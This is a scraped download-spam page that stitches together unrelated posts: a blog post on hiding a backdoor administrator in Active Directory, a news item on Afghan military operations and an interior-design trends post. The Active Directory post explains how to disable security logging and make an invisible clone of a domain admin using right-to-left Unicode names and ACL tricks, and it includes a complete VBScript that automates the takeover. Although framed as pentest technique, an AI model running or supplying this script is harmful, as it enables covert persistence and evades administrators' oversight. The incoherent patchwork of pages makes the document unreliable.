Serial Game Movie

A Aa full movie Telugu in HD 2016

Available link for download

10mn BBM Downloaded In Just 24 Hrs Of Launch

Available link for download

A Backdoor in the Next Generation Active Directory

At the beginning of the last year, I already raised the issue of post-exploitation in a Microsoft Active Directory domain. The brought forward approach addressed the variant aimed mostly at the case of the loss of admin privileges rather than their exploitation. Additionally, the action of regaining the privileges itself involved conspicuous events and visually evident manipulations in the directory. In other words, to regain admin privileges one had to become a member of the appropriate security group, such as Domain Admins.

It should be mentioned that administrators get very nervous when suddenly they realize there is someone else in the system. Some of them rush to address the security incident horse and foot, sometimes taking most unpredictable steps;))

Now imagine how an Active Directory administrator of a large company can react when they see an unfamiliar account name in the Enterprise Admins security group. In case someone really intruded the system, the administrator’s concern is perfectly reasonable. However, in cases of improper counteraction when a pentest is taking place, it is certainly not worth worrying about (along with depriving the pentest guys of their access points and privileges gained with blood and sweat).

I spent a lot of time thinking on how, without scaring administrators, to use the privileges gained during pentest freely (especially with aggressive counteraction of administrators, as it was during my recent pentests). On the one hand, pentesters are strictly limited in their possibilities. For example, the rule of minimizing impact on the object is taken for granted. So, we cannot simply create and leave backdoors all around the network. On the other hand, there are absolutely clear goals that should be achieved before a happy administrator notices unauthorized activity and unplugs the computer.

So how can a pentester remain unnoticed in Microsoft networks?

The first thing that comes to my mind is to use an admin account. The access is legitimate, so it should not attract any special attention. However, as experience has shown, obtaining clear-text admin password is not always possible. In such cases the attack called Pass-the-Hash comes to your aid. It would be almost perfectly ok (almost, since the Pass-the-Hash type of attack narrows the possibilities of developing the attack, e.g. the RDP remote access protocol cannot be used), but in serious companies administrators gradually turn to smart cards, which do not allow conducting attacks based on the NTLM protocol faults. Ok, we still can exploit an authorized users token (e.g., incognito) and/or a Kerberos ticket (e.g., WCE). Thats as it may be, of course, but in practice Kerberos is not Kerberos and a token is not a token: available tools for conducting such types of attacks, unfortunately, are definitely lousy. Moreover, in both cases (just as in case of Pass-the-Hash), the attackers are rather limited in their actions by the protocols in use that support domain SSO.

So, the most attractive way is to exploit the privileges of, if not an existing domain admin account, then a created one with a known password...

How, while doing this, not to be spotted by an attentive eye of the domain administrator?

First, adding changes to Active Directory involves generation of certain events, about which administrators had better not know. So, before intruding a domain (of course, only as part of a pentest and only with an approval of your customers representative) disable logging of security events on the domain controllers by using an appropriate GPO. Let me remind you that by default the time of group policies background refresh on domain controllers is 15 minutes.

Second, why not to create a visually identical account that is analogous to the existing domain admin account? To achieve it, you can, for example, use Unicode symbols (!). Then, you can set the newly created user’s attribute showInAdvancedViewOnly to TRUE, which will allow you to hide the object in the default view mode of the Manage users and computers (dsa.msc) snap-in. After that, there is one remaining step: to assign the account to an administrative group which is free from a real domain admin (as a rule, administrators just can’t help assigning their accounts to all thinkable and unthinkable administrative groups), for instance, let’s leave the admin account in the Enterprise Admins group, and put its clone into the Domain Admins group.

However, I suppose many readers are already in doubt that the campaign can be successful. And they are right! This technique is good for nothing, since it has two significant defects:
1. The created account is visible in the directory to an ‘aided eye’.
2. When searching for users in the domain, the admin account appears double.

What are the solutions to these problems?

It would seem that the simplest solution is obvious: to set the permissions on the newly created object (our account) appropriately. It is sufficient to forbid the Everyone group to read public information about the object. And in the organization unit, next to the real Active Directory admin, ‘something’ will appear, and this ‘something’ will cease to let itself be noticed in the output of domain accounts search. However, this dolce vita will last not more than 60 minutes. The thing is that by default every 60 minutes the SDPROP process runs on the domain controller which acts as a PDC emulator. The process restores access rights of some Active Directory objects (including all members of administrative groups) according to the defined permissions on the AdminSDHolder object (http://technet.microsoft.com/en-us/query/ee361593).

Unfortunately, it is impossible to disable the security mechanism by using standard functionality. A hacking attempt via exploiting permissions on the object may cause replication problems (here it starts to smell of sort of sabotage, which is inadmissible when pentesting). Changing ACLs on the AdminSDHolder object will affect many objects, including all domain admins accounts. So, as a possible feasible solution you may want to use regular running of a script which redresses the consequences of the SDPROP process actions. However, there is even a better alternative.

The SDPROP process restores ACE for specific privileged objects only, but ACEs of organization units that contain such objects remain unchanged. That is just the thing for exploitation! Using Unicode symbols you can freely create organizational units sequence analogous to the one that contains the clone account. "Correct" permissions on the parent container allow hiding it from the sharp eye of administrators (within reasonable limits, of course).

The idea of this approach is that Active Directory administrators should not develop alarming suspicions that the systems entrusted to them are compromised. They still remain valid administrators, however there is a privileged group member account which is visually identical to the AD admin account...

And one more thing. In order to avoid appearing of the doubles of the accounts when searching in the directory, you can use, for instance, the 202E symbol (my thanks to Alexander Zaitsev for reminding me this). The symbol turns over the string that follows it. So, if you create, for example, a clone for the ‘dmitry.ivanov’ account, the newly created account name will look like ‘202E’+’vonavi.yrtimd’. Perhaps this approach is not very convenient for authenticating in the system, but it helps avoid appearing in the search input.

In the aspect of security event logs, the approach also allows you to remain unnoticed for a certain period of time.

The script that automatically performs all the covered steps is available below. It includes the following customizable parameters:

strAdminsamAccountName is the account name that should be cloned,
strAdminsGroup is the privileged group to which the clone should be assigned,
strPassNewUser is the password that should be set for the newly created account.

On Error Resume Next

strAdminsamAccountName = "dmitry.ivanov"
strAdminsGroup = "Domain Admins"
strPassNewUser = "P@ssw0rd"

- - -

Dim arrContainer(), i

Set objRootDSE = GetObject("LDAP://RootDSE")
strDomain = objRootDSE.Get("DefaultNamingContext")
Set objDomain = GetObject("LDAP://" & strDomain)

strAdminsamAccountNameDN = SearchDN(" WHERE objectCategory=user AND samAccountName = " & strAdminsamAccountName & "")

If Not IsNull(strAdminsamAccountNameDN) Then

Set objAdmin = GetObject("LDAP://" & strAdminsamAccountNameDN)
Set objOU = GetObject(objAdmin.parent)

i=0
Call EnumOUs(objOU)

For j = i-1 To 0 Step -1

if strContainer="" Then
strContainer = "OU=" & arrContainer(j) & strContainer
primaryContainer = strContainer
Else
strContainer = "OU=" & arrContainer(j) & "," & strContainer
End if
Set objOUcreate = objDomain.Create("organizationalUnit", strContainer)
objOUcreate.SetInfo
Next

Set objContainer = GetObject("LDAP://" & strContainer & "," & strDomain)

Set objUserCreate = objContainer.Create("User", "cn=" & ChrW(8238) & StrReverse(objAdmin.displayName))
objUserCreate.Put "sAMAccountName", ChrW(8238) & StrReverse(strAdminsamAccountName)
objUserCreate.SetInfo
On Error Resume Next

objUserCreate.SetPassword strPassNewUser
objUserCreate.Put "userAccountControl", 66048
objUserCreate.Put "givenName", ChrW(8238) & StrReverse(objAdmin.givenName)
objUserCreate.Put "sn", ChrW(8238) & StrReverse(objAdmin.sn)
objUserCreate.Put "initials", ChrW(8238) & StrReverse(objAdmin.initials)
objUserCreate.SetInfo
On Error Resume Next

objUserCreate.Put "showInAdvancedViewOnly", "TRUE"
objUserCreate.SetInfo
On Error Resume Next

NewUserDN = "cn=" & ChrW(8238) & StrReverse(objAdmin.displayName) & "," & objContainer.distinguishedName

strAdminsGroupDN = SearchDN(" WHERE objectCategory=group AND samAccountName = " & strAdminsGroup & "")

If Not IsNull(strAdminsGroupDN) Then
Set objGroup = GetObject("LDAP://" & strAdminsGroupDN)
objGroup.PutEx 4, "member", Array(strAdminsamAccountNameDN)
objGroup.SetInfo
objGroup.PutEx 3, "member", Array(NewUserDN)
objGroup.SetInfo
End If

OUAddAce(primaryContainer & "," & strDomain)

End If

Function SearchDN(str)
Set objConnection = CreateObject("ADODB.Connection")

objConnection.Provider = "ADsDSOObject"
objConnection.Open "Active Directory Provider"

Set objCommand = CreateObject("ADODB.Command")
Set objCommand.ActiveConnection = objConnection
objCommand.Properties("Searchscope") = 2

objCommand.CommandText = "SELECT distinguishedName FROM LDAP://" & strDomain & str
Set objRecordSet = objCommand.Execute
If Not objRecordSet.EOF Then
SearchDN = objRecordSet.Fields("distinguishedName").Value
End if
End Function

Sub EnumOUs(objChild)
Dim objParent

Set objParent = GetObject(objChild.Parent)
If (objParent.Class = "organizationalUnit") Then
ReDim Preserve arrContainer(i + 1)
arrContainer(i) = objChild.ou
i=i+1
Call EnumOUs(objParent)
Else
ReDim Preserve arrContainer(i + 1)
arrContainer(i) = objChild.ou & ChrW(128)
i=i+1
End If
End Sub

Function OUAddAce(OU)

Dim objSdUtil, objSD, objDACL, objAce
Set objOU = GetObject ("LDAP://" & OU)

Set objSdUtil = GetObject(objOU.ADsPath)
Set objSD = objSdUtil.Get("ntSecurityDescriptor")
Set objDACL = objSD.DiscretionaryACL
Set objAce = CreateObject("AccessControlEntry")

objAce.Trustee = "Everyone"
objAce.AceFlags = 2
objAce.AceType = 6
objAce.AccessMask = 16
objAce.Flags = 1
objAce.ObjectType = "{E48D0154-BCF8-11D1-8702-00C04FB96050}"
objDacl.AddAce objAce

objSD.DiscretionaryAcl = objDacl
objSDUtil.Put "ntSecurityDescriptor", Array(objSD)
objSDUtil.SetInfo

Set objNtSecurityDescriptor = objOU.Get("ntSecurityDescriptor")
intNtSecurityDescriptorControl = objNtSecurityDescriptor.Control
intNtSecurityDescriptorControl = intNtSecurityDescriptorControl Xor &H1000
objNtSecurityDescriptor.Control = intNtSecurityDescriptorControl
objOU.Put "ntSecurityDescriptor", objNtSecurityDescriptor
objOU.SetInfo

End Function

Available link for download

779 the PKK List Participating in the Iraqi Elections!

Available link for download

a day in the life thrifting styling and photo editing

Available link for download

11 militants killed in fresh Afghan military operations

"Afghan army, police and personnel of intelligence agency carried out cleanup operations in Nangarhar, Kapisa, Kunar, Khost, Ghazni, Uruzgan, Herat, Kunduz, Badakhshan, Baghlan, Jawzjan and Helmand provinces over the past 24 hours, killing 11 armed insurgents and wounding four others," the ministry said in a statement.

Among the killed was one militant of Islamic State (IS), and one Taliban fighter was killed after members of local uprising group or pro-government militias fought back armed militants who tried to destroy telephone towers in southern Zabul province, the statement said.
The Afghan air force also destroyed three vehicles, two motorcycles and a heavy machine gun after launching airstrikes on insurgents positions in surrounding areas of Tirin Kot, capital of Uruzgan province, the statement added.
The Taliban-led violence continues in Afghanistan. Security forces have pressed on to clear the militants in restive provinces.

KABUL, Jan. 13 (Xinhua) -- Some 11 militants have been killed and four wounded as Afghan security forces waged offensives across the country, the Defense Ministry said on Friday.

Available link for download

7 Pairs of Gold Boots to Invest In

Available link for download

2017–Trends in Interior Design

 

Looking At Trends at 60…ok…62.

What is going on in the design world this year?  What’s hot? What’s trending in 2017?   Of course trends don’t start on January 1 of a new year, but they are more a slow ebb of changes of what we choose to live around.  Trends tend to cycle in ten year time periods. 

Sigh.   I’m getting older.  I reached 62 (shh!) this year and while I never dreaded a birthdate or a decade – the 60s are full of many changes that haven’t been so noticeable since leaving the teens for the 20s when EVERYTHING changes.  It seems that way again.

I realize things more clearly now – especially about design.  I’ve been thinking about this for a while.  For most of my adult life, I have been buying and buying and buying – scrambling to decorate a two story house on my beer budget and champagne taste.  It’s been a long voyage that started with my first apartment and now, I look around and I’ve been here in my “forever house” for almost 24 years – the absolute longest I have ever spent in one place.  As a child, I moved a lot.  But not my daughter.  She doesn’t know any other house but this one.  

After all these long years, eventually, my beer budget was mixed with a splash of champagne.   The house is all furnished now.  Every corner of it.  And now, the biggest change I’ve noticed in my sixties is that I don’t buy for my house anymore.  Just flowers and candles it seems.    Instead, I want to sell stuff.  I would rather clean out my storage closets filled with old collections that I stowed away years and years ago.   I want to downsize.  I dream of less rooms, but wider spaces.  But then, I don’t seem to really want to move.  I like my surroundings, dated though it seems.  The oil market crashed in Houston, the years have been lean lately – but if not, would I be tossing it all out and starting over again to look trendier?  That seems like such a waste, a feeling that might be either financially motivated or emotional.  Or maybe it’s just turning 62.    Does having an updated house matter at this age? 

When you decide to stop buying – unconsciously or not – you look at what others are doing and your house begins to feel a bit stagnant.  It’s that old ten year rule.  Every ten years, trends change.  Houses in the 50s looked a distinctive way.  And the 60s.  Certainly, the 80s, and the 90s.  I’ve passed that decade rule… I look at what the younger set are doing and they have a certain look that I just don’t. 

I’ll start with the kitchen.  I renovated my kitchen five or six years ago and it’s already dated when I look at magazines and newly built houses.  At the time, I updated all my brass hardware – tossed it out, didn’t even sell it, it was so worthless.  Now, my pricey updated pewter look is dated and brass is back in!!  It can drive you insane, if you let it.  If you have spent your entire life decorating, letting go isn’t always easy.   But the older you get, the less important it seems.

At what age do you stop restaining your wood floor from dark to light and back again.  Or changing your hardware in order to be updated.  Or  paint your red walls yellow, then gray, then white, then wallpaper them?  Or cover up all your sheetrock with plaster if you can afford it – or shiplap.

Does anyone else feel this way?  Or is this just the way a 60-something frustrated designer thinks?

So…here’s to the trends of 2017.  If you are in my age bracket, just enjoy it.  If you are younger, take note, you will probably really relate to this all and be off to go shopping!!!

First things first. 

My brother & sister –in laws recently moved to a new house that they totally renovated, and which I hope to show you one day!!  They installed a French range and it hit me – this is probably THE appliance to have now.  I must admit I was green with envy when I saw theirs.  They are a gorgeous appliance.

The French Range:  Lacanche or La Cornue 

So here it is – my choice for the biggest trend item in a kitchen - the Lacanche range, or the La Cornue – either one. The difference?  The Cornue is a bit more, but the smaller Williams Sonoma version is less and you can get it really fast.  Regardless, forget the AGA, it’s so passe.   

They sell much larger units with 9 burners and more, but now their are the smaller versions for the United States market.  This is the year of the French range.  If I were renovating a kitchen and had the budget – this would my choice.  I mean – look at it!  It looks like a gorgeous chest!!!  This is the smaller CornuFe’ at Williams Sonoma.  HERE.

All the star designers have a favorite expensive range they use.  Windsor Smith likes the French La Cornue.

Move over Kathryn Ireland and her AGA association, Suzanne Kasler recently partnered with La Cornue to design a collection – one filled with luscious colors:

Like this pink range.  The range of her colors is fabulous.  HERE.

Bailey McCarthy’s former kitchen was green with a white La Cornue.

And while this is the only photograph from Bailey’s new kitchen – judging by this gorgeous refrigertor, I can only imagine her range!!  Gold countertops.  The Feb. House Beautiful.

Besides a French Range, trends in kitchens include:

…dark, richly painted cabinets.  All white kitchens suddenly look…dated. 

Deep blue and brass with a warm, wood floor.  The farm sink is holding on.  A classic.  Will it ever date?   I doubt it.  

A brighter blue mixed with brass and wood and marble.  I love the old oil paintings with the contemporary look.

Green cabinets are trending too, mixed with brass and marble or white Quartzite, which is very popular now instead of marble.  More oil paintings.  Wood is trending in kitchens – everywhere really.  Wood ceilings and wood beams add a warmth to what can traditionally be a cold space.

Deep Russian blue mixed with contemporary large hardware in matte brass.  Upper cabinets – white with  white countertops – this lessens a too dark look.  Another item that has gained strength are these spot lights – in kitchen, bathrooms, and libraries.

Wood beams mixed with brass and deep blue with wood countertops and wood shelves.

Barkaboda – the new Ikea walnut countertop that has everyone talking HERE.

Can’t afford a Lacanche?  How about a Betrodd, a double gas range from Ikea HERE.  $1,100.

Trends in Floors:

The light, French oak wood for floors is still hot – hotter than ever.  But, not everyone can afford the gorgeous floor.  Instead, we now have wood look tile.  This particular floor above is Albero 3 by Cancos. 

These wood look-alike tiles are everywhere now.  And every renovated or flipped house has them.  My thoughts are – they probably are great for bathrooms and kitchens, but then, what?  Do you want an entire houseful of fake wood tile?  Where do you start and stop with the tile?  They are probably best for a beach house or a house in the country where real wood floors might be more easily ruined.

And more wood tile floors.  Go on Zillow and look at houses newly renovated for sale – and I promise you, you will see this floor with white walls and gray walls.  It’s a huge trend.  The magazines and market says color is in – and it is, for some.  For most in America though – this seems to be THE shades they are living with.

Here are dark faux wood tiles.  Again, great for a bathroom, but where do you stop the faux tile and add the real wood?

And there is also vinyl wood.  Vinyl faux wood is really popular too.  But, be very careful before you buy.  Maybe the light gray is better than the dark gray, this floor above does look pretty.  But, the other day, I saw a house with the dark gray vinyl and it was just awful looking.

Here is the dark vinyl faux wood.  It really is very fake looking in person.  I can’t recommend this choice.  This look is trending in renovations and new houses.  Gray walls, gray furniture, gray floors with pops of color.   

It’s all about texture as a trend – and brick is making a comeback, in this particular pattern.  It adds a lot of texture – and it’s a natural material.

WALLS:

This bathroom has several trends going on – the tile floor in herringbone, black accents in the hardware and the lighting - mixed with pure white walls, and shiplap.

Yes shiplap.  Thank the HGTV hit show Fixer Upper for this current craze, but shiplap is everywhere.  It’s a huge trend.

You might not find much shiplap in Architectural Digest or in Elle Decor…but it’s all over IG.  People are putting shiplap up in their homes like a crazed Joanna Gaines.

Shiplap in the kitchen – no need for a backsplash.

And shiplap in the entry and stairwell.   Mixed with black, of course. 

A more traditional application of shiplap.

Gray is still trending.  So are white walls.   And taupe.  I know that color is in – and there is more color than ever.  But…..white and gray are what people are choosing.

Go on instagram and there is page after page after page after page of houses that young couples own, painted gray and white.

The New Farmhouse:

Like this.  This look is really in with the younger set.  Tufted sofa.  White walls. Black accents.  Light floors.  My Texas House – this is her IG  

This look is called the New Farmhouse.

And it is this look that regardless of what you see in the pricey magazines, this is how many, many young Americans are decorating now. 

Another element of the New Farmhouse is the hand-written sign.  Every New Farmhouse has a written sign or two or three.  This owner is also a dealer of these signs which is why she has a lot on display. 

More New Farmhouse.  Shiplap, white mixed with black accents, and a hand written sign.

Barn Doors:

Here is the light oak floor mixed with shiplap and the barn door, still very popular, if not even more so than last year.

                Blush:                     

Rose Quartz was last year’s Pantone color but this year will see more and more of the beautiful color.  This year’s Pantone color is a vibrant green.

Blush pink looks especially pretty with gray and copper.

Mineral Gray:

The last few years, black walls were trending.  Now it’s dark gray – Mineral Gray.  It’s a bit softer than the black, but just as dramatic.  Tufting is still trending.

Mineral Gray in the lower cabinets mixed with brass. Very pretty!  The brass pendants look like jewelry

Texture is everything.  Here, sheepskin rugs are used to add texture.   This is a single person’s haven.  Lots of cozy throws and rugs.  Black and white, mixed with pink.

Texture & Sheepskins:

Sheepskin in hot.  In colors too.  It is very trendy.  Gray, white and black.

A stunning contemporary design by Tamara Magel HERE.  Sheepskin on each chair instead of a cushion. Lindsey Adelman light fixture.  I love this and I’m not even a contemporary person!

  Everyone is doing it.  I like the long hair, bushy look. HERE.

I told you! 

The French oak floor here is gorgeous, mixed with contemporary chairs and textured rugs.  Sheepskin over ottomans.  White walls.  All trending.

JUTE:

I love seagrass, always have and probably always will.  But jute is seen a lot now.  It’s chunkier than seagrass and adds a lot of texture.  In England, they use Apple matting for texture.  But we don’t get that here, so jute fits the bill.   Plus, it looks pretty with grays and whites. HERE.

Texture on texture.  Rugs layered over jute rug and ottomans.  Ralph Lauren.  White walls.  The green add just the right touch of this year’s green Pantone color.

Textures for 2017:

A beautiful room full of textures, casual.  It shows you can still have white slipcovered furniture and be trendy.  The contemporary tables add a chic element.  Wonderful shades. 

Leather mixed with black accents and wicker.  It’s all about texture today.

Wallpapers:

And just a bit nicer.  Handpainted wallpaper is being seen everywhere – in all the magazines.  Here, this was custom colored in grays!  Beautiful.  Painted floors. Antique chairs.  Contemporary table.  Just gorgeous.

The handpainted paper is hot, hot, hot.   A less expensive way, buy a few panels worth instead of a room.

This paper!  Love!  To keep costs down a bit add wainscoting. 

Ceilings:

Available link for download